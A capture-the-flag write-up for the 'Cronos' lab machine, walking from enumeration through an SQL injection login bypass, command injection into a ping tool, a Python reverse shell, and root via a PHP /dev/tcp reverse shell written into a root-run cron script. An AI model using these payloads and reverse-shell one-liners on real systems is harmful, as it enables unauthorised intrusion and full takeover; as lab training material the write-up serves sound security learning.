Cronos

Reconnaissance:

NMAP:

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.13

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)

53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Aggressive OS guesses: Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.2 - 4.9 (96%), Linux 4.8 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.12 (95%), Linux 3.18 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.13

53/udp    open          domain
23781/udp open|filtered unknown
43824/udp open|filtered unknown
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.13

Enumeration: DNS - TCP/UDP 50

For DNS enumeration, the first thing to do is try to resolve the IPs of Cronos. I’ll use nslookup, setting the server to Cronos, and then looking up Cronos’ IP:

┌──(kali💀kali)-[~]
└─$ nslookup 
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.

Knowing the domain ns1.cronos.htb is useful, as it not only provides a domain name to poke at, but also confirms the base domain cronos.htb. Any time there’s TCP DNS, it’s worth trying a zone transfer, which returns another two subdomains, admin and www:

┌──(kali💀kali)-[~]
└─$ dig axfr cronos.htb @10.10.10.13

; <<>> DiG 9.19.17-2~kali1-Kali <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 256 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Dec 28 21:44:01 EST 2023
;; XFR size: 7 records (messages 1, bytes 203)

I’ll add the following line to my /etc/hosts file:

┌──(kali💀kali)-[~]
└─$ sudo nano /etc/hosts 

10.10.10.13    cronos.htb
10.10.10.13    www.cronos.htb
10.10.10.13    admin.cronos.htb

Since virtual hosts are involved here, I’ll run a quick gobuster subdomain brute force, but it only returns the known three:

┌──(kali💀kali)-[~]
└─$ gobuster dns -d cronos.htb -w /usr/share/seclists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt

Found: www.cronos.htb
Found: ns1.cronos.htb
Found: admin.cronos.htb

Enumeration: Website - TCP 80

By visiting the website by IP address, I just get the default Ubuntu Apache 2 page: I ran a gobuster brute force, but didn’t find anything. ns1.cronos.htb returns the same thing.

Gobuster Enumeration:

┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt,html

/index.php            (Status: 200) [Size: 2319]
/.php                 (Status: 403) [Size: 289]
/.html                (Status: 403) [Size: 290]
/css                  (Status: 301) [Size: 306] [--> http://cronos.htb/css/]
/js                   (Status: 301) [Size: 305] [--> http://cronos.htb/js/]
/robots.txt           (Status: 200) [Size: 24]
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://admin.cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -t 100 -x php,txt,html 

/.html                (Status: 403) [Size: 296]
/.php                 (Status: 403) [Size: 295]
/index.php            (Status: 200) [Size: 1547]
/welcome.php          (Status: 200) [Size: 1547]
/logout.php           (Status: 200) [Size: 1547]
/config.php           (Status: 200) [Size: 0]
/session.php          (Status: 200) [Size: 1547]
/.php                 (Status: 403) [Size: 295]
/.html                (Status: 403) [Size: 296]
/server-status        (Status: 403) [Size: 304]

Virtual Host Enumeration:

┌──(kali💀kali)-[~]
└─$ gobuster vhost -k --domain cronos.htb --append-domain -u 10.10.10.13 -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt 

Found: www.cronos.htb Status: 200 [Size: 2319]
Found: admin.cronos.htb Status: 200 [Size: 1547]
┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.13

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2caf, size: 5b7cbd6fbb19d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

www.cronos.htb - TCP 80

Interestingly, all of the links go to external sites for Laravel, a “PHP framework for web artisans” (whatever that means). Again, gobuster here only returns /css, /js, and index.php.

┌──(kali💀kali)-[~]
└─$ curl -sv -H 'Host: cronos.htb' 10.10.10.13

Trying 10.10.10.13:80...
* Connected to 10.10.10.13 (10.10.10.13) port 80
> GET / HTTP/1.1
> Host: cronos.htb
> User-Agent: curl/8.4.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 29 Dec 2023 03:34:46 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Cache-Control: no-cache, private
< Set-Cookie: XSRF-TOKEN=eyJpdiI6IlwvaDBXMjlIRGJadVV1MWdzOUkzV2NnPT0iLCJ2YWx1ZSI6IjdZd1YrOXBndjBUY0lDRGpYOFplcDFFMUhZamtHRTJJY254a2FKMFFTdmVRNEVyUDF1cFFoaEJZNDFSc0c4aCt1Z2owZnk2R2FLREUxYmEyNHFOZlNBPT0iLCJtYWMiOiI2MThlMDU3ZjVjMTQ5MWRjMGQ4OGFlZTMyMzAyNWNmYjQ0OTE1ZTJlNGFkNmFiMDdhMGIzMzNmN2U4YjlkNTRhIn0%3D; expires=Fri, 29-Dec-2023 05:34:46 GMT; Max-Age=7200; path=/
< Set-Cookie: laravel_session=eyJpdiI6ImxFMmlsUng3c2dQTmo3OFRBQWxLOEE9PSIsInZhbHVlIjoiNUZzWFFqM1ZVWk80ZmRCWFk1ek82bkFUSHIyd1haS1V4VFFoYjVVdlJYSEwxVHZMZUFXOUVoUWpVZUIxY1wvc2pva0crdVF6N0VqYnYyQ1c2eitxcmlRPT0iLCJtYWMiOiJjYTkyN2ZlNjViNjJkOTQ1Mzk4MWJlNWZiYzVhNGY2NjViNWRkOTM0NDIyNjE0ZThmNGE2OWI1NDdlNWJkZDQ4In0%3D; expires=Fri, 29-Dec-2023 05:34:46 GMT; Max-Age=7200; path=/; HttpOnly
< Vary: Accept-Encoding
< Content-Length: 2319
< Content-Type: text/html; charset=UTF-8
< 
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Cronos</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css?family=Raleway:100,600" rel="stylesheet" type="text/css">

        <!-- Styles -->
        <style>
            html, body {
                background-color: #fff;
                color: #636b6f;
                font-family: 'Raleway', sans-serif;
                font-weight: 100;
                height: 100vh;
                margin: 0;
            }

            .full-height {
                height: 100vh;
            }

            .flex-center {
                align-items: center;
                display: flex;
                justify-content: center;
            }

            .position-ref {
                position: relative;
            }

            .top-right {
                position: absolute;
                right: 10px;
                top: 18px;
            }

            .content {
                text-align: center;
            }

            .title {
                font-size: 84px;
            }

            .links > a {
                color: #636b6f;
                padding: 0 25px;
                font-size: 12px;
                font-weight: 600;
                letter-spacing: .1rem;
                text-decoration: none;
                text-transform: uppercase;
            }

            .m-b-md {
                margin-bottom: 30px;
            }
        </style>
    </head>
    <body>
        <div class="flex-center position-ref full-height">
            
            <div class="content">
                <div class="title m-b-md">
                    Cronos
                </div>

                <div class="links">
                    <a href="https://laravel.com/docs">Documentation</a>
                    <a href="https://laracasts.com">Laracasts</a>
                    <a href="https://laravel-news.com">News</a>
                    <a href="https://forge.laravel.com">Forge</a>
                    <a href="https://github.com/laravel/laravel">GitHub</a>
                </div>
            </div>
        </div>
    </body>
</html>
* Connection #0 to host 10.10.10.13 left intact

searchsploit does show exploits against the Laravel framework:

┌──(kali💀kali)-[~]
└─$ searchsploit laravel
--------------------------------------------------------------- ---------------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL inj | php/webapps/50538.txt
Laravel - 'Hash::make()' Password Truncation Security          | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution               | php/webapps/49424.py
Laravel Administrator 4 - Unrestricted File Upload (Authentica | php/webapps/49112.py
Laravel Log Viewer < 0.13.0 - Local File Download              | php/webapps/44343.py
Laravel Nova 3.7.0 - 'range' DoS                               | php/webapps/49198.txt
Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)       | macos/local/50591.py
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site  | php/webapps/50525.txt
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserial | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read      | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Up | php/webapps/46389.py

On doing some inspection of these scripts (searchsploit -x [Path]), the first one is a way to trick the hash engine because of a truncation issue, but I don’t see any way to apply it here. The second, forth, and fifth are not for this web framework.

The Metasploit script could have promise, but there are two issues:

  • I don’t know the version of Laravel that’s being run to know if it is vulnerable.

  • The exploit requires that I find a way to leak the APP_KEY. If I can find a way to leak that (perhaps an LFI), I’ll come back to give this a try.

admin.cronos.htb - TCP 80

The site just presents a login form and an advertisement (something I hadn’t seen in HTB before; it seems to be real).

Shell as www-data

SQLi Bypass Login:

The payload allows me to bypass the login, which presents the next page, Net Tool v0.1:

http://admin.cronos.htb/
admin';#
' OR 1=1;#
http://admin.cronos.htb/welcome.php
SELECT * FROM users WHERE username = 'login_form_username' AND password = 'login_form_password_hash';

With SQL injection, the attacker is injecting additional characters into the original SQL statement, causing an entirely different SQL query to be executed. In the case

SELECT * FROM users WHERE username = 'admin';# 
the rest of the query is commented out and the user admin exists, so the query is successful

SELECT * FROM users WHERE username = '' OR 1=1;# 
the rest of the query is commented out and 1=1 is true, so the query is successful

Command Injection:

The dropdown offers traceroute and ping. I can ping myself, and the results are printed on the screen:

PING 10.10.16.4 

PING 10.10.16.4 (10.10.16.4) 56(84) bytes of data.
64 bytes from 10.10.16.4: icmp_seq=1 ttl=63 time=528 ms
--- 10.10.16.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 528.014/528.014/528.014/0.000 ms
PING 127.0.0.1; cat /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 www-data:x:33:33:www-data:/var/www:/bin/bash
 noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash

It is so I’m not sure why this didn’t work. Let’s try python.

┌──(kali💀kali)-[~]
└─$ nc -lnvp 5555
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

command=traceroute&host=8.8.8.8+|+python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.16.4",5555))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'

We get back a low privileged shell!

$ whoami
www-data

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ 

www-data@cronos:/home/noulis$ cat user.txt
e908ff-------------------------

www-data@cronos:/$ cd root
bash: cd: root: Permission denied

Priv: www-data –> root

I’ll go into my local linPEAS directory and start a Python3 webserver. Then I can grab it from Cronos:

┌──(kali💀kali)-[/opt/linpeas]
└─$ python -m SimpleHTTPServer 5555
Serving HTTP on 0.0.0.0 port 5555 ...
www-data@cronos:/var/www/admin$ cd /tmp
www-data@cronos:/tmp$ wget http://10.10.16.4:5555/linpeas.sh
www-data@cronos:/tmp$ chmod +x linpeas.sh
www-data@cronos:/tmp$ ./linpeas.sh

Now run it, and in the Cron jobs section, the last line is red:

╔══════════╣ Executing Linux Exploit Suggester 2
 https://github.com/jondonas/linux-exploit-suggester-2                                           
  [1] af_packet                                                                                   
      CVE-2016-8655
      Source: http://www.exploit-db.com/exploits/40871
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] get_rekt
      CVE-2017-16695
      Source: http://www.exploit-db.com/exploits/45010

╔══════════╣ Users with console
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash                                      
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash


SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The cron syntax here says that it will run every minute, as root

I don’t really need to know what the Laravel artisan is doing. What does matter is that as www-data, I have write permissions on that file

Poison artisan

Make a copy of the artisan file

www-data@cronos:/tmp$ cd /var/www/laravel
www-data@cronos:/var/www/laravel$ ls -la artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan

www-data@cronos:/var/www/laravel$ cp artisan artisan.orig

Create the reverse shell payload

www-data@cronos:/var/www/laravel$ echo '<?php exec("/bin/bash -c '"'"'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'"'"'");' > /var/www/laravel/artisan

Cron job will run every minute

┌──(kali💀kali)-[~]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.13] 39400
root@cronos:~# whoami
root
root@cronos:~# cat root.txt
cat root.txt
701782-----------------------------

Last updated